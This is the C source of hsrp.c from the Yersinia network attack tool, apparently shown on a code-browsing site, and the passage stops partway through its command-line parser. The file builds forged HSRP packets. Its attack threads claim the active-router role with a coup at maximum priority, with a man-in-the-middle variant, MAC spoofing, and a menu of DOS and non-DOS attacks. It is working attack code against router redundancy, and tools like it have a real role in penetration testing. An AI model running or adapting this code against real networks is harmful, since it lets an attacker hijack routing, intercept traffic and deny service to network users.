Logo Search packages:      
Sourcecode: yersinia version File versions

hsrp.c

/* hsrp.c
 * Implementation and attacks for Cisco Hot Standby Router Protocol
 *
 * Yersinia
 * By David Barroso <tomac@wasahero.org> and Alfredo Andres <slay@wasahero.org>
 * Copyright 2005 Alfredo Andres and David Barroso
 *
 * This program is free software; you can redistribute it and/or
 * modify it under the terms of the GNU General Public License
 * as published by the Free Software Foundation; either version 2
 * of the License, or (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program; if not, write to the Free Software
 * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA  02111-1307, USA.
 */

/* HSRP functions - please read RFC 2281 before complaining!!! */

#ifndef lint
static const char rcsid[] = 
       "$Id: hsrp.c,v 1.7 2005/09/13 12:10:39 t0mac Exp $";
#endif

#ifdef HAVE_CONFIG_H
#include <config.h>
#endif

#define _REENTRANT

#include <stdio.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>       

#ifdef HAVE_NETINET_IN_SYSTM_H
#include <netinet/in_systm.h>
#else
#ifdef HAVE_NETINET_IN_SYSTEM_H
#include <netinet/in_system.h>
#endif
#endif

#include <netinet/in.h>
#include <arpa/inet.h>
#include <signal.h>
#include <time.h>

#ifdef TIME_WITH_SYS_TIME
#include <sys/time.h>
#endif

#ifdef HAVE_UNISTD_H
#include <unistd.h>
#endif

#ifdef HAVE_STRING_H
#include <string.h>
#endif

#ifdef HAVE_STRINGS_H
#include <strings.h>
#endif

#ifdef HAVE_BSTRING_H
#include <bstring.h>
#endif

#ifdef STDC_HEADERS
#include <stdlib.h>
#endif

#ifdef HAVE_PTHREAD_H
#include <pthread.h>
#endif

#ifdef HAVE_GETOPT_LONG_ONLY
#include <getopt.h>
#else
#include "getopt.h"
#endif

#include <stdarg.h>

#include "hsrp.h"


void
hsrp_register(void)
{
    protocol_register(PROTO_HSRP, "HSRP", "Hot Standby Router Protocol", sizeof(struct hsrp_data), hsrp_init_attribs, NULL,
          hsrp_get_printable_packet, hsrp_get_printable_store,
          hsrp_load_values, hsrp_update_data, hsrp_attack, hsrp_help,
        hsrp_parser, hsrp_fields, hsrp_get_info, hsrp_update_field, hsrp_features);
}


void
hsrp_th_send_raw(void *arg)
{
    struct attacks *attacks=NULL;
    struct hsrp_data *hsrp_data;
    sigset_t mask;
    u_int32_t lbl32;

    attacks = arg;
    
    pthread_mutex_lock(&attacks->attack_th.finished);

    pthread_detach(pthread_self());

    sigfillset(&mask);

    if (pthread_sigmask(SIG_BLOCK, &mask, NULL))
    {
       thread_error("hsrp_send_discover pthread_sigmask()",errno);
       hsrp_th_send_raw_exit(attacks);    
    }

    hsrp_data = attacks->data;

    /* libnet fix */
    lbl32 = htonl(hsrp_data->sip);
    memcpy((void *)&hsrp_data->sip, &lbl32, 4);

    lbl32 = htonl(hsrp_data->dip);
    memcpy((void *)&hsrp_data->dip, &lbl32, 4);

    hsrp_send_packet(attacks);

    hsrp_th_send_raw_exit(attacks);
}

void
hsrp_th_send_raw_exit(struct attacks *attacks)
{
    if (attacks)
       attack_th_exit(attacks);

    pthread_mutex_unlock(&attacks->attack_th.finished);
     
    pthread_exit(NULL);
}


void
hsrp_th_become_active(void *arg)
{
    struct pcap_pkthdr header;
    struct pcap_data pcap_aux;
    struct attacks *attacks=NULL;
    struct hsrp_data *hsrp_data;
    struct timeval now;
    sigset_t mask;
    struct attack_param *param=NULL;
    u_int32_t lbl32;

    attacks = arg;
    
    pthread_mutex_lock(&attacks->attack_th.finished);

    pthread_detach(pthread_self());

    sigfillset(&mask);

    if (pthread_sigmask(SIG_BLOCK, &mask, NULL))
    {
       thread_error("hsrp_send_discover pthread_sigmask()",errno);
       hsrp_th_become_active_exit(attacks);    
    }

    hsrp_data = attacks->data;

    param = attacks->params;
    
    gettimeofday(&now,NULL);
    
    header.ts.tv_sec = now.tv_sec;
    header.ts.tv_usec = now.tv_usec;

    if (hsrp_learn_packet(ALL_INTS, &attacks->attack_th.stop, attacks->data,&header, &pcap_aux) < 0)
         hsrp_th_become_active_exit(attacks);

    hsrp_data->opcode = HSRP_TYPE_COUP;
    hsrp_data->state = HSRP_STATE_SPEAK;

    if (attacks->attack == HSRP_ATTACK_BECOME_ACTIVE)
    {
        memcpy((void *)&hsrp_data->sip, (void *)param[HSRP_SOURCE_IP].value, 4);
    }
    else 
       if (attacks->attack == HSRP_ATTACK_MITM_BECOME_ACTIVE) {
          /* Get interface's ip address */
          hsrp_data->sip = ntohl(inet_addr(interfaces[pcap_aux.iface].ipaddr));

              /* libnet fix */
              lbl32 = ntohl(hsrp_data->sip);
              memcpy((void *)&hsrp_data->sip, &lbl32, 4);
         }

      /* libnet fix */
      hsrp_data->dip = inet_addr("224.0.0.2");
    /* Max priority */
    hsrp_data->priority = 0xFF;

    hsrp_send_packet(attacks);

    hsrp_data->opcode = HSRP_TYPE_HELLO;
    hsrp_data->state = HSRP_STATE_ACTIVE;

    thread_create(&attacks->helper_th.id, &hsrp_send_hellos, attacks);

    while (!attacks->attack_th.stop)
       usleep(200000);

    hsrp_th_become_active_exit(attacks);
}


void
hsrp_th_become_active_exit(struct attacks *attacks)
{
    if (attacks)
       attack_th_exit(attacks);

    pthread_mutex_unlock(&attacks->attack_th.finished);
     
    pthread_exit(NULL);
}


void
hsrp_send_hellos(void *arg)
{
    u_int32_t ret;
    u_int16_t secs;
    struct timeval hello;
    struct attacks *attacks;
    struct hsrp_data *hsrp_data;

    attacks = arg;
    
    pthread_mutex_lock(&attacks->helper_th.finished);

    pthread_detach(pthread_self());

    hello.tv_sec  = 0;
    hello.tv_usec = 0;

    hsrp_data = attacks->data;

    secs = 0;
    
write_log(0,"\n hsrp_helper: %d started...\n",(int)pthread_self());
        
    while(!attacks->helper_th.stop)
    {
        if ( (ret=select( 0, NULL, NULL, NULL, &hello ) ) == -1 )
              break;

        if ( !ret )  /* Timeout... */
        {
            if (secs == hsrp_data->hello_time) /* Send HSRP hello...*/
            {
               hsrp_send_packet(attacks);
               secs=0;
            }
            else
               secs++;
        }
        hello.tv_sec  = 1;
        hello.tv_usec = 0;
    } 

write_log(0," hsrp_helper: %d finished...\n",(int)pthread_self());

    pthread_mutex_unlock(&attacks->helper_th.finished);
     
    pthread_exit(NULL);
}

int8_t
hsrp_send_packet(struct attacks *attacks)
{
    libnet_ptag_t t;
    int sent;
    u_int8_t i;
    u_int16_t len;
    struct hsrp_data *hsrp_data;
    u_int8_t *hsrp_packet, *aux;
    libnet_t *lhandler;

    hsrp_data = attacks->data;
    hsrp_packet = calloc(1, HSRP_PACKET_SIZE);

    aux = hsrp_packet;
    *aux = hsrp_data->version; aux++;
    *aux = hsrp_data->opcode; aux++;
    *aux = hsrp_data->state; aux++;
    *aux = hsrp_data->hello_time; aux++;
    *aux = hsrp_data->hold_time; aux++;
    *aux = hsrp_data->priority; aux++;
    *aux = hsrp_data->group; aux++;
    *aux = hsrp_data->reserved; aux++;

    len = strlen(hsrp_data->authdata);
    memcpy((void *)aux, (void *)hsrp_data->authdata, (len < HSRP_AUTHDATA_LENGTH) ? len : HSRP_AUTHDATA_LENGTH);
//    aux += (len < HSRP_AUTHDATA_LENGTH) ? len : HSRP_AUTHDATA_LENGTH;
    aux += 8;

    (*(u_int32_t *)aux) = (u_int32_t) htonl(hsrp_data->virtual_ip);

    for ( i = 0; i < MAX_INTERFACES; i++) {
        if (attacks->used_ints[i] == 1) {
            lhandler = interfaces[i].libnet_handler;

            t = libnet_build_udp(
                hsrp_data->sport,                               /* source port */
                hsrp_data->dport,                               /* destination port */
                LIBNET_UDP_H + HSRP_PACKET_SIZE,                /* packet size */
                0,                                              /* checksum */
                hsrp_packet,                                    /* payload */
                HSRP_PACKET_SIZE,                               /* payload size */
                lhandler,                                       /* libnet handle */
                0);                                             /* libnet id */

            if (t == -1) 
            {
                thread_libnet_error( "Can't build udp datagram",lhandler);
                libnet_clear_packet(lhandler);
                return -1;
            }  

            t = libnet_build_ipv4(
                LIBNET_IPV4_H + LIBNET_UDP_H + HSRP_PACKET_SIZE,/* length */
                0x10,                                           /* TOS */
                0,                                              /* IP ID */
                0,                                              /* IP Frag */
                1,                                              /* TTL */
                IPPROTO_UDP,                                    /* protocol */
                0,                                              /* checksum */
                hsrp_data->sip,                                 /* src ip */
                hsrp_data->dip,                                 /* destination ip */
                NULL,                                           /* payload */
                0,                                              /* payload size */
                lhandler,                                       /* libnet handle */
                0);                                             /* libnet id */

            if (t == -1) 
            {
                thread_libnet_error("Can't build ipv4 packet",lhandler);
                libnet_clear_packet(lhandler);
                return -1;
            }  

            t = libnet_build_ethernet(
                    hsrp_data->mac_dest,                /* ethernet destination */
                    (attacks->mac_spoofing) ? hsrp_data->mac_source : interfaces[i].etheraddr,
                    /* ethernet source */
                    ETHERTYPE_IP,
                    NULL,                               /* payload */
                    0,                                  /* payload size */
                    lhandler,                           /* libnet handle */
                    0);                                 /* libnet id */

            if (t == -1)
            {
                thread_libnet_error("Can't build ethernet header",lhandler);
                libnet_clear_packet(lhandler);
                return -1;
            }

            /*
             *  Write it to the wire.
             */
            sent = libnet_write(lhandler);

            if (sent == -1) {
                thread_libnet_error("libnet_write error", lhandler);
                libnet_clear_packet(lhandler);
                return -1;
            }

            libnet_clear_packet(lhandler);
            protocols[PROTO_HSRP].packets_out++;
            interfaces[i].packets_out[PROTO_HSRP]++;
        }
    }

    free(hsrp_packet);
    
    return 0;
}


/*
 *
 */
int8_t
hsrp_learn_packet(int8_t iface, u_int8_t *stop, void *data, struct pcap_pkthdr *header, struct pcap_data *pcap_aux)
{
    struct hsrp_data *hsrp_data;
    u_int8_t got_hsrp_packet = 0;
    u_int8_t *packet;
    int8_t iface_learn;
    
    hsrp_data = data;

    if ((packet = calloc(1, SNAPLEN)) == NULL)
        return -1;

    while (!got_hsrp_packet && !(*stop))
    {
        iface_learn = interfaces_get_packet(stop, header, packet, PROTO_HSRP, NO_TIMEOUT);

        if ( (iface !=ALL_INTS) && (iface != iface_learn))
            continue;
            
        if (*stop)
        {
            free(packet);
            return -1;
        }

        pcap_aux->header = header;
        pcap_aux->packet = packet;

        if (!hsrp_load_values((struct pcap_data *)pcap_aux, hsrp_data))
            got_hsrp_packet = 1;

    } /* While got */

    free(packet);

    return 0;
}

    
int8_t
hsrp_load_values(struct pcap_data *data, void *values)
{
    struct libnet_ethernet_hdr *ether;
    struct hsrp_data *hsrp;
    u_char *hsrp_data, *ip_data, *udp_data;
#ifdef LBL_ALIGN
    u_int16_t aux_short;
    u_int32_t aux_long;
#endif

    hsrp = (struct hsrp_data *)values;
    ether = (struct libnet_ethernet_hdr *) data->packet;
    ip_data = (u_char *) (data->packet + LIBNET_ETH_H);
    udp_data = (data->packet + LIBNET_ETH_H + (((*(data->packet + LIBNET_ETH_H))&0x0F)*4));
    hsrp_data = udp_data + LIBNET_UDP_H;

    /* Source MAC */
    memcpy(hsrp->mac_source, ether->ether_shost, ETHER_ADDR_LEN);
    /* Destination MAC */
    memcpy(hsrp->mac_dest, ether->ether_dhost, ETHER_ADDR_LEN);

    /* Source IP */
#ifdef LBL_ALIGN
    memcpy((void *)&aux_long,(ip_data+12),4);
    hsrp->sip = ntohl(aux_long);
#else
    hsrp->sip = ntohl(*(u_int32_t *)(ip_data+12));
#endif
    /* Destination IP */
#ifdef LBL_ALIGN
    memcpy((void *)&aux_long,(ip_data+16),4);
    hsrp->dip = ntohl(aux_long);
#else
    hsrp->dip = ntohl(*(u_int32_t *)(ip_data+16));
#endif

    /* Source port */
#ifdef LBL_ALIGN
    memcpy((void *)&aux_short, udp_data, 2);
    hsrp->sport = ntohs(aux_short);
#else
    hsrp->sport = ntohs(*(u_int16_t *)udp_data);
#endif
    /* Destination port */
#ifdef LBL_ALIGN
    memcpy((void *)&aux_short, udp_data+2, 2);
    hsrp->dport = ntohs(aux_short);
#else
    hsrp->dport = ntohs(*(u_int16_t *)(udp_data+2));
#endif

    /* Version */
    hsrp->version = *((u_char *)hsrp_data);
    /* Opcode */
    hsrp->opcode = *((u_char *)hsrp_data+1);
    /* State */
    hsrp->state = *((u_char *)hsrp_data+2);
    /* Hello time */
    hsrp->hello_time = *((u_char *)hsrp_data+3);
    /* Hold time */
    hsrp->hold_time = *((u_char *)hsrp_data+4);
    /* Priority */
    hsrp->priority = *((u_char *)hsrp_data+5);
    /* Group */
    hsrp->group = *((u_char *)hsrp_data+6);
    /* Reserved */
    hsrp->reserved = *((u_char *)hsrp_data+7);

    /* Authdata */
    memcpy(hsrp->authdata, (hsrp_data+8), HSRP_AUTHDATA_LENGTH);

    /* virtual ip */
#ifdef LBL_ALIGN
    memcpy((void *)&aux_long,(hsrp_data+16),4);
    hsrp->virtual_ip = ntohl(aux_long);
#else
    hsrp->virtual_ip = ntohl(*(u_int32_t *)(hsrp_data+16));
#endif

    return 0;
}

int8_t
hsrp_init_attribs(struct term_node *node)
{
    struct hsrp_data *hsrp_data;
    u_int32_t lbl32;

    hsrp_data = node->protocol[PROTO_HSRP].tmp_data;
    
    /* HSRP stuff */
    hsrp_data->version = HSRP_DFL_VERSION;
    hsrp_data->opcode  = HSRP_DFL_TYPE;
    hsrp_data->state   = HSRP_DFL_STATE;
    hsrp_data->hello_time = HSRP_DFL_HELLO_TIME;
    hsrp_data->hold_time  = HSRP_DFL_HOLD_TIME;
    hsrp_data->priority   = HSRP_DFL_PRIORITY;
    hsrp_data->group    = HSRP_DFL_GROUP;
    hsrp_data->reserved = HSRP_DFL_RESERVED;

    memcpy((void *)hsrp_data->authdata, (void *) HSRP_DFL_AUTHDATA, HSRP_AUTHDATA_LENGTH);

    lbl32 = libnet_get_prand(LIBNET_PRu32);

    memcpy((void *)&hsrp_data->virtual_ip, (void *) &lbl32, 4);

    hsrp_data->sport = HSRP_DFL_PORT;
    hsrp_data->dport = HSRP_DFL_PORT;

    lbl32 = libnet_get_prand(LIBNET_PRu32);

    memcpy((void *)&hsrp_data->sip, (void *)&lbl32, sizeof(u_int32_t));

    hsrp_data->dip = ntohl(inet_addr("224.0.0.2"));

    attack_gen_mac(hsrp_data->mac_source);

    hsrp_data->mac_source[0] &= 0x0E; 

    parser_vrfy_mac("01:00:5e:00:00:02",hsrp_data->mac_dest);

    return 0;

}

/* 
 * Return formated strings of each HSRP field
 */
char **
hsrp_get_printable_packet(struct pcap_data *data)
{
    struct libnet_ethernet_hdr *ether;
    char *hsrp_data, *udp_data, *ip_data;
#ifdef LBL_ALIGN
    u_int16_t aux_short;
    u_int32_t aux_long;
#endif
    char **field_values;

    if ((field_values = (char **) protocol_create_printable(HSRP_TOTAL_FIELDS, hsrp_fields)) == NULL) {
          write_log(0, "Error in calloc\n");
          return NULL;
    }

    ether = (struct libnet_ethernet_hdr *) data->packet;
    ip_data = (char *) (data->packet + LIBNET_ETH_H);
    udp_data = (char *) (data->packet + LIBNET_ETH_H + (((*(data->packet + LIBNET_ETH_H))&0x0F)*4));
    hsrp_data = udp_data + LIBNET_UDP_H;

    /* Source MAC */
    snprintf(field_values[HSRP_SMAC], 18, "%02X:%02X:%02X:%02X:%02X:%02X",
          ether->ether_shost[0], ether->ether_shost[1], ether->ether_shost[2],
          ether->ether_shost[3], ether->ether_shost[4], ether->ether_shost[5]);
    /* Destination MAC */
    snprintf(field_values[HSRP_DMAC], 18, "%02X:%02X:%02X:%02X:%02X:%02X",
          ether->ether_dhost[0], ether->ether_dhost[1], ether->ether_dhost[2],
          ether->ether_dhost[3], ether->ether_dhost[4], ether->ether_dhost[5]);

    /* Source IP */
#ifdef LBL_ALIGN
    memcpy((void *)&aux_long, (ip_data+12), 4);
    strncpy(field_values[HSRP_SIP], libnet_addr2name4(aux_long, LIBNET_DONT_RESOLVE), 16);
#else
    strncpy(field_values[HSRP_SIP], libnet_addr2name4((*(u_int32_t *)(ip_data + 12)) , LIBNET_DONT_RESOLVE), 16);
#endif

    /* Destination IP */
#ifdef LBL_ALIGN
    memcpy((void *)&aux_long, (ip_data+16), 4);
    strncpy(field_values[HSRP_DIP], libnet_addr2name4(aux_long, LIBNET_DONT_RESOLVE), 16);
#else
    strncpy(field_values[HSRP_DIP], libnet_addr2name4((*(u_int32_t *)(ip_data + 16)), LIBNET_DONT_RESOLVE), 16);
#endif

    /* Source port */
#ifdef LBL_ALIGN
    memcpy((void *)&aux_short, udp_data, 2);
    snprintf(field_values[HSRP_SPORT], 6, "%05hd", ntohs(aux_short));
#else
    snprintf(field_values[HSRP_SPORT], 6, "%05hd", ntohs(*(u_int16_t *)udp_data));
#endif

    /* Destination port */
#ifdef LBL_ALIGN
    memcpy((void *)&aux_short, udp_data+2, 2);
    snprintf(field_values[HSRP_DPORT], 6, "%05hd", ntohs(aux_short));
#else
    snprintf(field_values[HSRP_DPORT], 6, "%05hd", ntohs(*(u_int16_t *)(udp_data+2)));
#endif

    /* Version */
    snprintf(field_values[HSRP_VER], 3, "%02X", *((u_char *)hsrp_data));
    /* Opcode */
    snprintf(field_values[HSRP_OPCODE], 3, "%02X", *((u_char *)hsrp_data+1));
    /* State */
    snprintf(field_values[HSRP_STATE], 3, "%02X", *((u_char *)hsrp_data+2));
    /* Hello time */
    snprintf(field_values[HSRP_HELLO_TIME], 3, "%02X", *((u_char *)hsrp_data+3));
    /* Hold time */
    snprintf(field_values[HSRP_HOLD_TIME], 3, "%02X", *((u_char *)hsrp_data+4));
    /* Priority */
    snprintf(field_values[HSRP_PRIORITY], 3, "%02X", *((u_char *)hsrp_data+5));
    /* Group */
    snprintf(field_values[HSRP_GROUP], 3, "%02X", *((u_char *)hsrp_data+6));
    /* Reserved */
    snprintf(field_values[HSRP_RESERVED], 3, "%02X", *((u_char *)hsrp_data+7));

    /* Authdata */
    strncpy(field_values[HSRP_AUTHDATA], (hsrp_data+8), HSRP_AUTHDATA_LENGTH);

    /* Virtual ip */
#ifdef LBL_ALIGN
    memcpy((void *)&aux_long, (hsrp_data+16), 4);
    strncpy(field_values[HSRP_VIRTUALIP], libnet_addr2name4(aux_long, LIBNET_DONT_RESOLVE),16);
#else
    strncpy(field_values[HSRP_VIRTUALIP], libnet_addr2name4((*(u_int32_t *)(hsrp_data + 16)), LIBNET_DONT_RESOLVE), 16);
#endif
    
    return (char **)field_values;
}


char **
hsrp_get_printable_store(struct term_node *node)
{
    struct hsrp_data *hsrp;
    char **field_values;

    /* smac + dmac + sip + dip + sport + dport + ver + opcode + state + hello +
     * hold + priority + group + reserved + auth + vip + null = 17
     */
    if ((field_values = (char **) protocol_create_printable(HSRP_TOTAL_FIELDS, hsrp_fields)) == NULL) {
          write_log(0, "Error in calloc\n");
          return NULL;
    }

      if (node == NULL)
            hsrp = protocols[PROTO_HSRP].default_values;
      else
        hsrp = (struct hsrp_data *) node->protocol[PROTO_HSRP].tmp_data;

    /* Source MAC */
    snprintf(field_values[HSRP_SMAC], 18, "%02X:%02X:%02X:%02X:%02X:%02X",
          hsrp->mac_source[0], hsrp->mac_source[1],
          hsrp->mac_source[2], hsrp->mac_source[3],
          hsrp->mac_source[4], hsrp->mac_source[5]);
    /* Destination MAC */
    snprintf(field_values[HSRP_DMAC], 18, "%02X:%02X:%02X:%02X:%02X:%02X",
          hsrp->mac_dest[0], hsrp->mac_dest[1],
          hsrp->mac_dest[2], hsrp->mac_dest[3],
          hsrp->mac_dest[4], hsrp->mac_dest[5]);

    /* Source IP */
    parser_get_formated_inet_address(hsrp->sip , field_values[HSRP_SIP], 16);
    /* Destination IP */
    parser_get_formated_inet_address(hsrp->dip , field_values[HSRP_DIP], 16);

    /* Source port */
    snprintf(field_values[HSRP_SPORT], 6, "%05hd", hsrp->sport);

    /* Destination port */
    snprintf(field_values[HSRP_DPORT], 6, "%05hd", hsrp->dport);

    /* Version */
    snprintf(field_values[HSRP_VER], 3, "%02X", hsrp->version);
    /* Opcode */
    snprintf(field_values[HSRP_OPCODE], 3, "%02X", hsrp->opcode);
    /* State */
    snprintf(field_values[HSRP_STATE], 3, "%02X", hsrp->state);
    /* Hello time */
    snprintf(field_values[HSRP_HELLO_TIME], 3, "%02X", hsrp->hello_time);
    /* Hold time */
    snprintf(field_values[HSRP_HOLD_TIME], 3, "%02X", hsrp->hold_time);
    /* Priority */
    snprintf(field_values[HSRP_PRIORITY], 3, "%02X", hsrp->priority);
    /* Group */
    snprintf(field_values[HSRP_GROUP], 3, "%02X", hsrp->group);
    /* Reserved */
    snprintf(field_values[HSRP_RESERVED], 3, "%02X", hsrp->reserved);
    /* Auth data */
    strncpy(field_values[HSRP_AUTHDATA], hsrp->authdata, 8);
    /* Virtual IP */
    parser_get_formated_inet_address(hsrp->virtual_ip , field_values[HSRP_VIRTUALIP], 16);

    return (char **)field_values;
}


char *
hsrp_get_info(u_int8_t field, char *value)
{
    u_int8_t i;

    i = 0;
    switch (field) {
        case HSRP_OPCODE:
            while (hsrp_opcode[i].desc) {
                if (hsrp_opcode[i].type == strtoul(value, NULL, 16))
                    return hsrp_opcode[i].desc;
                i++;
            }
        break;
        case HSRP_STATE:
            while (hsrp_state[i].desc) {
                if (hsrp_state[i].type == strtoul(value, NULL, 16))
                    return hsrp_state[i].desc;
                i++;
            }
        break;
    }

    return "(Unknown)";
}

int8_t 
hsrp_update_field(int8_t state, struct term_node *node, void *value)
{
    struct hsrp_data *hsrp_data;
      u_int8_t len;
    
      if (node == NULL)
            hsrp_data = protocols[PROTO_HSRP].default_values;
      else
        hsrp_data = node->protocol[PROTO_HSRP].tmp_data;

    switch(state)
    {
        /* Source MAC */
        case HSRP_SMAC:
            memcpy((void *)hsrp_data->mac_source, (void *)value, ETHER_ADDR_LEN);
        break;
        /* Destination MAC */
        case HSRP_DMAC:
            memcpy((void *)hsrp_data->mac_dest, (void *)value, ETHER_ADDR_LEN);
        break;
        /* Version */
        case HSRP_VER:
            hsrp_data->version = *(u_int8_t *)value;
        break;
        /* Op */
        case HSRP_OPCODE:
            hsrp_data->opcode = *(u_int8_t *)value;
        break;
        /* State */
        case HSRP_STATE:
            hsrp_data->state = *(u_int8_t *)value;
        break;
        /* Hello time */
          case HSRP_HELLO_TIME:
              hsrp_data->hello_time = *(u_int8_t *)value;
        break;
        /* Hold time */
          case HSRP_HOLD_TIME:
              hsrp_data->hold_time = *(u_int8_t *)value;
        break;
        /* Priority */
          case HSRP_PRIORITY:
              hsrp_data->priority = *(u_int8_t *)value;
        break;
        /* Group */
          case HSRP_GROUP:
              hsrp_data->group = *(u_int8_t *)value;
        break;
        /* Reserved */
          case HSRP_RESERVED:
              hsrp_data->reserved = *(u_int8_t *)value;
        break;
            /* Authdata */
            case HSRP_AUTHDATA:
                len = strlen(value);
                strncpy(hsrp_data->authdata, value, (len > HSRP_AUTHDATA_LENGTH) ? HSRP_AUTHDATA : len);
            break;
            /* Virtual IP */
            case HSRP_VIRTUALIP:
                hsrp_data->virtual_ip = *(u_int32_t *)value;
            break;
        /* SPort */
            case HSRP_SPORT:
            hsrp_data->sport = *(u_int16_t *)value;
        break;
        /* DPort */
        case HSRP_DPORT:
            hsrp_data->dport = *(u_int16_t *)value;
        break;
            /* Source IP */
            case HSRP_SIP:
                hsrp_data->sip = *(u_int32_t *)value;
            break;
            /* Destination IP */
            case HSRP_DIP:
                hsrp_data->dip = *(u_int32_t *)value;
            break;
       
            default:
            break;
    }

    return 0;
}



int8_t 
hsrp_update_data(int8_t state, int8_t key, int8_t position, struct term_node *node)
{
    struct in_addr addr;
    struct hsrp_data *hsrp_data;
    u_int32_t aux_long;
    u_int8_t i;
    char **hsrp;

    hsrp_data = node->protocol[PROTO_HSRP].tmp_data;

    if ((hsrp = hsrp_get_printable_store(node)) == NULL) {
          write_log(0, "Error in hsrp_get_printable_store\n");
          return -1;
    }

    switch(state)
    {
        /* Source MAC */
        case HSRP_SMAC:
            hsrp[0][position] = key;
            for (i=0; i < 6; i++) 
                hsrp_data->mac_source[i] = strtoul(&hsrp[0][3*i], (char **)NULL, 16);
        break;

        /* Destination MAC */
        case HSRP_DMAC:
            hsrp[1][position] = key;
            for (i=0; i < 6; i++) 
                hsrp_data->mac_dest[i] = strtoul(&hsrp[1][3*i], (char **)NULL, 16);
        break;

        /* SIP */
        case HSRP_SIP:
            hsrp[2][position] = key;
            if (parser_get_inet_aton(hsrp[2], &addr) < 0) {
                write_log(0, "Error in parser_get_inet_aton\n");
                return -1;
            }
            aux_long = ntohl(addr.s_addr);
            memcpy((void *)&hsrp_data->sip, (void *)&aux_long, 4);
        break;

        /* DIP */
        case HSRP_DIP:
            hsrp[3][position] = key;
            if (parser_get_inet_aton(hsrp[3], &addr) < 0) {
                write_log(0, "Error in parser_get_inet_aton\n");
                return -1;
            }
            aux_long = ntohl(addr.s_addr);
            memcpy((void *)&hsrp_data->dip, (void *)&aux_long, 4);
        break;

        /* Sport */
        case HSRP_SPORT:
            hsrp[4][position] = key;
            hsrp_data->sport = strtoul(hsrp[4], (char **)NULL, 10);
        break;

        /* Dport */
        case HSRP_DPORT:
            hsrp[5][position] = key;
            hsrp_data->dport = strtoul(hsrp[5], (char **)NULL, 10);
        break;

        /* Version */
        case HSRP_VER:
            hsrp[6][position] = key;
            hsrp_data->version = strtoul(hsrp[6], (char **)NULL, 16);
        break;
            
        /* Opcode */
        case HSRP_OPCODE:
            hsrp[7][position] = key;
            hsrp_data->opcode = strtoul(hsrp[7], (char **)NULL, 16);
        break;
        
        /* State */
        case HSRP_STATE:
            hsrp[8][position] = key;
            hsrp_data->state = strtoul(hsrp[8], (char **)NULL, 16);
        break;

        /* Hello time */
        case HSRP_HELLO_TIME:
            hsrp[9][position] = key;
            hsrp_data->hello_time = strtoul(hsrp[9], (char **)NULL, 16);
        break;

        /* Hold time */
        case HSRP_HOLD_TIME:
            hsrp[10][position] = key;
            hsrp_data->hold_time = strtoul(hsrp[10], (char **)NULL, 16);
        break;

        /* Priority */
        case HSRP_PRIORITY:
            hsrp[11][position] = key;
            hsrp_data->priority = strtoul(hsrp[11], (char **)NULL, 16);
        break;

        /* Group */
        case HSRP_GROUP:
            hsrp[12][position] = key;
            hsrp_data->group = strtoul(hsrp[12], (char **)NULL, 16);
        break;

        /* Group */
        case HSRP_RESERVED:
            hsrp[13][position] = key;
            hsrp_data->reserved = strtoul(hsrp[13], (char **)NULL, 16);
        break;

        /* Authdata */
        case HSRP_AUTHDATA:
            hsrp[14][position] = key;
            memcpy((void *)hsrp_data->authdata, (void *)hsrp[14], 8);
        break;

        /* Virtual IP */
        case HSRP_VIRTUALIP:
            hsrp[15][position] = key;
            if (parser_get_inet_aton(hsrp[15], &addr) < 0) {
                write_log(0, "Error in inet_aton\n");
                return -1;
            }
            aux_long = ntohl(addr.s_addr);
            memcpy((void *)&hsrp_data->virtual_ip, (void *)&aux_long, 4);
        break;

    }

    i = 0;
    while(hsrp[i]) {
      free(hsrp[i]);
      i++;
    }

    free(hsrp);

    return 0;
}


void
hsrp_help(void)
{
    write_log(2,"%s\n", bin_data);
    write_log(2,"\nUsage: %s hsrp [-hM] [-i interface]\n", PACKAGE);
    write_log(2,"       [-smac hw_addr] [-dmac hw_addr] [-sip addr] [-dip addr] [-sport port] [-dport port]\n");
    write_log(2,"       [-version version] [-opcode opcode] [-state state] [-hello_time secs] [-hold_time secs]\n");
    write_log(2,"       [-priority priority] [-group group] [-reserved reserved] [-authdata string]\n");
    write_log(2,"       [-virtualip addr] [-version version] [-attack attack]\n\n");
    write_log(2,"           -h    This help screen.\n\n");         

    write_log(2,"Please, see the man page for a full list of options and many examples.\n");
    write_log(2,"Send your bugs & suggestions to the Yersinia developers <yersinia@wasahero.org>\n\n");  
}


/*
 * HSRP parser...
 */
int8_t 
hsrp_parser( struct term_node *node, int8_t argc, char **args, void *tmp_data)
{
    int8_t carac, indx, aux, tmp, ifaces;
    int opt_ind;
    struct hsrp_data *hsrp_data;
    struct term_tty *term_tty=NULL;
    struct attack *first_attack;

    static struct option options[] =
    {
        { "help",         0, 0, 'h' },        
        { "M",            0, 0, 'M' },        
        { "attack",       1, 0, 0 },
        { "X",            1, 0, 0 },
        { "i",            1, 0, 1 },
        { "version",      1, 0, 2 },
        { "opcode",       1, 0, 3 },
        { "state",        1, 0, 4 },
        { "hello_time",   1, 0, 5 },
        { "hold_time",    1, 0, 6 },
        { "priority",     1, 0, 7 },
        { "group",        1, 0, 8 },
        { "reserved",     1, 0, 9 },
        { "authdata",     1, 0, 10 },
        { "virtualip",    1, 0, 11 },
        { "sport",        1, 0, 12 },
        { "dport",        1, 0, 13 },
        { "sip",          1, 0, 14 },
        { "dip",          1, 0, 15 },
        { "smac",         1, 0, 16 },
        { "dmac",         1, 0, 17 },
        { 0, 0, 0, 0 }
    };

    hsrp_data = node->protocol[PROTO_DTP].tmp_data;

    ifaces = 0;

    term_tty = node->specific;

    while( (carac=getopt_long_only(argc,args,"h",
                    options, &opt_ind)) != EOF)
    {
        switch(carac) 
        {
            case 0:
                aux=atoi(optarg);
                aux--;  /* Because our array starts with zero but user starts with 1... :) */
                indx = parser_command2index(hsrp_attack, aux);
                if (hsrp_attack[indx].s != NULL )
                    term_tty->attack = indx;
                else
                {
                    write_log(2,"\n  Ouch!! Invalid attack!! Valid %s ATTACK types are:\n", PACKAGE);
                    first_attack = hsrp_attack;
                    while (first_attack->s != NULL) 
                    {
                        write_log(2,"         %d: %s attack %s\n",first_attack->v+1,
                                (first_attack->type)?"DOS":"NONDOS",
                                first_attack->s);
                        ++first_attack;
                    }
                    write_log(2,"\n");
                    return -1;
                }
                break;

            case 1:
                if ((tmp = interfaces_get(optarg)) == -1)
                {
